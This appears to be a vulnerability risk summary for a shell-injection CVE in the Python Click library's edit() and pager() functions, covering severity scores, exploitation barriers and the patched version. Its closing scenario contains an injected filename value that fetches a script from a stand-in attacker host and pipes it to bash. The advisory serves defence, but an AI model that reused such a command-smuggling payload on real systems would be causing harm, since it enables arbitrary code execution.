Pallets Click CVE-2026-7246

Exploitation requires specific convergence of multiple factors: (1) Application must use Click library version ≤8.3.2 AND specifically invoke click.edit() or click.pager() functions with attacker-influenced input, (2) Attacker must have local system access with high privileges (PR:H-typically administrator or root level access already obtained), (3) Attack complexity is high (AC:H)-victim must interact with the vulnerable application in a way that triggers the editor/pager with attacker-controlled strings, (4) User interaction required (UI:R)-legitimate user must trigger the vulnerable code path, typically by invoking the CLI command with malicious arguments. The local vector (AV:L) and privilege requirements mean remote exploitation is not possible, and attacker already possesses substantial system access. Exploitation is LIMITED by: most Click applications use default editor discovery (EDITOR env var) rather than accepting user-supplied editor commands, the need for an application design flaw where untrusted input flows to click.edit() parameters, and the requirement for high existing privilege level reducing the value of further code execution.

Real-world risk is MODERATE despite CVSS 7.2 (High severity). Multiple exploitation barriers significantly reduce practical threat: local access only (AV:L), high privilege requirement (PR:H-typically administrator/root level), high attack complexity (AC:H), mandatory user interaction (UI:R), and scope change (S:C) suggesting containerized/sandboxed environments. SSVC framework rates this as exploitation=poc (proof-of-concept exists), automatable=no (requires specific conditions and interaction), technical_impact=total (arbitrary command execution possible). The vulnerability requires an application using Click's edit() function to pass attacker-controlled strings as editor/pager commands-an uncommon scenario since most applications use Click's default editor discovery. The local-only vector means network-facing services are not directly vulnerable. Priority should focus on privileged automation scripts or administrative tools built with Click that accept untrusted input to editor commands. Patch availability (8.3.3) and straightforward upgrade path lower residual risk.

An administrator runs a privileged Python CLI tool built with Click that accepts user input for a filename parameter. The tool calls click.edit(user_filename) to open the file in an editor. Attacker (already possessing high-privilege local access) provides input like 'file.txt; curl attacker.com/shell.sh | bash' which, due to shell=True processing, executes both the legitimate edit command and the injected malicious commands, achieving arbitrary code execution within the privileged context. Public proof-of-concept code exists (SSVC: exploitation=poc) demonstrating the injection technique per GHSA-47fr-3ffg-hgmw advisory.